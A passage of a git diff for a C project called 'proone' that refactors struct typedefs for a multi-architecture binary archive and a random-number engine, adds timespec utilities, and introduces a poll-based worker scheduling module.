free(r->raw_data); r->data = NULL; r->data_size = 0; - r->raw_data = NULL; - r->raw_data_size = 0; r->result = PROONE_INDEX_BIN_ARCHIVE_OK; r->err = 0; } diff --git a/src/proone_pack.h b/src/proone_pack.h index 35cd7ca..eaa63a1 100644 --- a/src/proone_pack.h +++ b/src/proone_pack.h @@ -4,14 +4,18 @@ #include "proone_protocol.h" -typedef struct { + +typedef struct proone_bin_archive proone_bin_archive_t; +typedef struct proone_unpack_bin_archive_result proone_unpack_bin_archive_result_t; + +struct proone_bin_archive { size_t data_size; uint8_t *data; size_t nb_binaries; proone_arch_t *arch_arr; size_t *offset_arr; size_t *size_arr; -} proone_bin_archive_t; +}; typedef enum { PROONE_UNPACK_BIN_ARCHIVE_OK, @@ -21,14 +25,12 @@ typedef enum { PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR } proone_unpack_bin_archive_result_code_t; -typedef struct { +struct proone_unpack_bin_archive_result { size_t data_size; uint8_t *data; - size_t raw_data_size; - uint8_t *raw_data; proone_unpack_bin_archive_result_code_t result; long err; -} proone_unpack_bin_archive_result_t; +}; typedef enum { PROONE_INDEX_BIN_ARCHIVE_OK, @@ -36,6 +38,7 @@ typedef enum { PROONE_INDEX_BIN_ARCHIVE_MEM_ERR } proone_index_bin_archive_result_code_t; + void proone_init_bin_archive (proone_bin_archive_t *a); void proone_init_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r); proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd); diff --git a/src/proone_protocol.h b/src/proone_protocol.h index 8196e91..c8b7f13 100644 --- a/src/proone_protocol.h +++ b/src/proone_protocol.h @@ -1,7 +1,8 @@ #pragma once #include <stddef.h> -enum proone_arch { + +typedef enum { PROONE_ARCH_NONE = -1, PROONE_ARCH_ARMV4T, @@ -17,9 +18,7 @@ enum proone_arch { PROONE_ARCH_SPC, NB_PROONE_ARCH -}; - -typedef enum proone_arch proone_arch_t; +} proone_arch_t; const char *proone_arch2str (const proone_arch_t x); diff --git a/src/proone_rnd.c b/src/proone_rnd.c index e4440e0..5ec4646 100644 --- a/src/proone_rnd.c +++ b/src/proone_rnd.c @@ -54,13 +54,12 @@ void proone_free_rnd_engine (proone_rnd_engine_t *engine) { uint32_t proone_rnd_gen_int (proone_rnd_engine_t *engine) { static const size_t M = 397; static const uint32_t - MATRIX_A = 0x9908b0df, UPPER_MASK = 0x80000000, LOWER_MASK = 0x7fffffff, TEMPERING_MASK_B = 0x9d2c5680, TEMPERING_MASK_C = 0xefc60000; + static const uint32_t mag01[2] = {0, 0x9908b0df}; uint32_t y; - static const uint32_t mag01[2] = {0, MATRIX_A}; if (engine->mti >= N) { size_t kk; diff --git a/src/proone_rnd.h b/src/proone_rnd.h index 749a172..cf46c4d 100644 --- a/src/proone_rnd.h +++ b/src/proone_rnd.h @@ -6,6 +6,7 @@ struct proone_rnd_engine; typedef struct proone_rnd_engine proone_rnd_engine_t; +typedef struct proone_rnd_engnie_alloc_result proone_rnd_engnie_alloc_result_t; typedef enum { PROONE_RND_ENGINE_ALLOC_OK, @@ -13,10 +14,10 @@ typedef enum { PROONE_RND_ENGINE_ALLOC_MEM_ERR } proone_rnd_engine_alloc_result_code_t; -typedef struct { +struct proone_rnd_engnie_alloc_result { proone_rnd_engine_alloc_result_code_t result; proone_rnd_engine_t *engine; -} proone_rnd_engnie_alloc_result_t; +}; void proone_init_alloc_rnd_engine_result (proone_rnd_engnie_alloc_result_t *r); diff --git a/src/proone_util.c b/src/proone_util.c index 118dc35..dc9e498 100644 --- a/src/proone_util.c +++ b/src/proone_util.c @@ -1,5 +1,13 @@ #include "proone_util.h" +#include <stdlib.h> + + +void proone_succeed_or_die (const int ret) { + if (ret < 0) { + abort(); + } +} void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, const size_t len) { static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; @@ -22,3 +30,35 @@ void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, co } } } + +void proone_empty_func () {} + +struct timespec proone_sub_timespec (const struct timespec *a, const struct timespec *b) { + struct timespec ret; + + if (a->tv_nsec < b->tv_nsec) { + ret.tv_sec = a->tv_sec - 1 - b->tv_sec; + ret.tv_nsec = 1000000000 + a->tv_nsec - b->tv_nsec; + } + else { + ret.tv_sec = a->tv_sec - b->tv_sec; + ret.tv_nsec = a->tv_nsec - b->tv_nsec; + } + + return ret; +} + +double proone_real_timespec (const struct timespec *ts) { + return (double)ts->tv_sec + (double)ts->tv_nsec / 1000000000.0; +} + +int proone_cmp_timespec (const struct timespec *a, const struct timespec *b) { + if (a->tv_sec < b->tv_sec) { + return -1; + } + else if (a->tv_sec > b->tv_sec) { + return 1; + } + + return a->tv_nsec < b->tv_nsec ? -1 : a->tv_nsec > b->tv_nsec ? 1 : 0; +} diff --git a/src/proone_util.h b/src/proone_util.h index 5e3e9c2..730ed3c 100644 --- a/src/proone_util.h +++ b/src/proone_util.h @@ -2,6 +2,10 @@ #include "proone_rnd.h" #include <stddef.h> +#include <time.h> + + +#define proone_op_spaceship(a,b) (a==b?0:a<b?-1:1) #if 0 @@ -16,4 +20,11 @@ bool proone_strendsw (const char *str, const char *w) { } #endif +void proone_succeed_or_die (const int ret); + void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, const size_t len); +void proone_empty_func (); + +struct timespec proone_sub_timespec (const struct timespec *a, const struct timespec *b); +double proone_real_timespec (const struct timespec *ts); +int proone_cmp_timespec (const struct timespec *a, const struct timespec *b); diff --git a/src/proone_worker.c b/src/proone_worker.c new file mode 100644 index 0000000..1af8aa1 --- /dev/null +++ b/src/proone_worker.c @@ -0,0 +1,49 @@ +#include "proone_worker.h" + +#include <stdlib.h> + + +static void def_free_func (proone_worker_sched_req_t *wsr) { + free(wsr->pollfd_arr); + wsr->pollfd_arr = NULL; + wsr->pollfd_arr_size = 0; +} + +static bool def_alloc_func (proone_worker_sched_req_t *wsr, const size_t ny_size) { + if (ny_size == 0) { + def_free_func(wsr); + } + else if (ny_size != wsr->pollfd_arr_size) { + void *ny_buf = realloc(wsr->pollfd_arr, ny_size * sizeof(struct pollfd)); + + if (ny_buf == NULL) { + return false; + } + wsr->pollfd_arr = (struct pollfd*)ny_buf; + wsr->pollfd_arr_size = ny_size; + } + + return true; +} + +static proone_worker_sched_req_mem_func_t def_mem_func = { def_alloc_func, def_free_func, NULL }; + + +bool proone_init_worker_sched_req (proone_worker_sched_req_t *wsr, proone_worker_sched_req_mem_func_t *in_mem_func) { + proone_worker_sched_req_t ret; + + ret.pollfd_arr_size = 0; + ret.pollfd_arr = NULL; + ret.timeout.tv_sec = 0; + ret.timeout.tv_nsec = 0; + ret.mem_func = *(in_mem_func != NULL ? in_mem_func : &def_mem_func); + ret.flags = PROONE_WORKER_SCHED_FLAG_NONE; + ret.pollfd_ready = false; + + if (!ret.mem_func.alloc(&ret, 0)) { + return false; + } + + *wsr = ret; + return true; +} diff --git a/src/proone_worker.h b/src/proone_worker.h new file mode 100644 index 0000000..b264fc9 --- /dev/null +++ b/src/proone_worker.h @@ -0,0 +1,64 @@ +#pragma once +#include <stddef.h> +#include <stdint.h> +#include <stdbool.h> +#include <time.h> +#include <poll.h> + + +typedef uint8_t proone_worker_sched_flag_t; + +typedef struct proone_worker_sched_req proone_worker_sched_req_t; +typedef bool(*proone_worker_sched_req_alloc_func_t)(proone_worker_sched_req_t *, const size_t); +typedef void(*proone_worker_sched_req_free_func_t)(proone_worker_sched_req_t *); +typedef struct proone_worker_sched_req_mem_func proone_worker_sched_req_mem_func_t; +typedef struct proone_worker_sched_info proone_worker_sched_info_t; +typedef struct proone_worker proone_worker_t; + +struct proone_worker_sched_req_mem_func { + proone_worker_sched_req_alloc_func_t alloc; + proone_worker_sched_req_free_func_t free; + void *ctx; +}; + +struct proone_worker_sched_req { + size_t pollfd_arr_size; + struct pollfd *pollfd_arr; + struct timespec timeout; + proone_worker_sched_req_mem_func_t mem_func; + proone_worker_sched_flag_t flags; + bool pollfd_ready; +}; + +struct proone_worker_sched_info { + proone_worker_sched_flag_t tick_flags; + struct timespec last_tick; + struct timespec this_tick; + struct timespec tick_diff; + double real_tick_diff; +}; + +struct proone_worker { + intptr_t id; + void *ctx; + + void (*free)(void *ctx); + void (*fin)(void *ctx); + void (*work)(void *ctx, const proone_worker_sched_info_t *sched_info, proone_worker_sched_req_t *sched_req); + bool (*has_finalised)(void *ctx); +}; + +/* Do nothing. The worker has more work to do and is yielding cpu time to the +* other workers. +*/ +static const proone_worker_sched_flag_t PROONE_WORKER_SCHED_FLAG_NONE = 0x00; +/* Do `poll()`. The worker has to set `shed_req` properly. +*/ +static const proone_worker_sched_flag_t PROONE_WORKER_SCHED_FLAG_POLL = 0x01; +/* Do `poll()` with timeout or just sleep. The worker has to set +* `proone_worker_sched_req_t::timeout` properly. +*/ +static const proone_worker_sched_flag_t PROONE_WORKER_SCHED_FLAG_TIMEOUT = 0x02; + + +bool proone_init_worker_sched_req (proone_worker_sched_req_t *wsr, proone_worker_sched_req_mem_func_t *mem_func); |